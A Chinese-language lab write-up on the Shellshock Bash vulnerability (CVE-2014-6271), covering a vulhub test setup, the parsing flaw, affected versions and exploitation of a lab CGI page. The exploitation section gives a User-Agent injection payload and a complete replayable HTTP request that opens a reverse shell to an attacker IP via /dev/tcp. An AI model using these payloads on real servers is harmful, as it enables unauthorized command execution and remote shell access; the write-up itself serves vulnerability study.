【研究】Shellshock 破壳漏洞bash命令执行(CVE-2014-6271)
【研究】Shellshock 破壳漏洞(CVE-2014-6271)
1.环境
环境
https://github.com/vulhub/vulhub/blob/master/README.zh-cn.md
这个搭环境很方便快捷,具体可以看说明,很简单
2.原理
目前的Bash使用的环境变量是通过函数名称来调用的,导致漏洞出问题是以“(){”开头定义的环境变量在命令ENV中解析成函数后,Bash执行并未退出,而是继续解析并执行shell命令。而其核心的原因在于在输入的过滤中没有严格限制边界,也没有做出合法化的参数判断。
3.影响版本
GNU Bash <= 4.3
4.利用过程
有两个页面http://10.77.0.130:8080/victim.cgi
和http://10.77.0.130:8080/safe.cgi
。其中safe.cgi是最新版bash生成的页面,victim.cgi是bash4.3生成的页面。
操作:
访问 http://10.77.0.130:8080/victim.cgi,通过 Burp 截包,修改 HTTP 请求头中 UA 字段:
命令执行
1 | User-Agent: () { :;};echo ; echo; echo $(/bin/ls -al /); #列出bin目录下所有文件 |
 { :; }; /bin/bash -i >& /dev/tcp/ip/8888 0>&1;
完整的请求报文如下(可直接复制到 Burp 下重放):
GET /victim.cgi HTTP/1.1
Host: 10.77.0.130:8080
User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.77.0.58/666 0>&1;
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0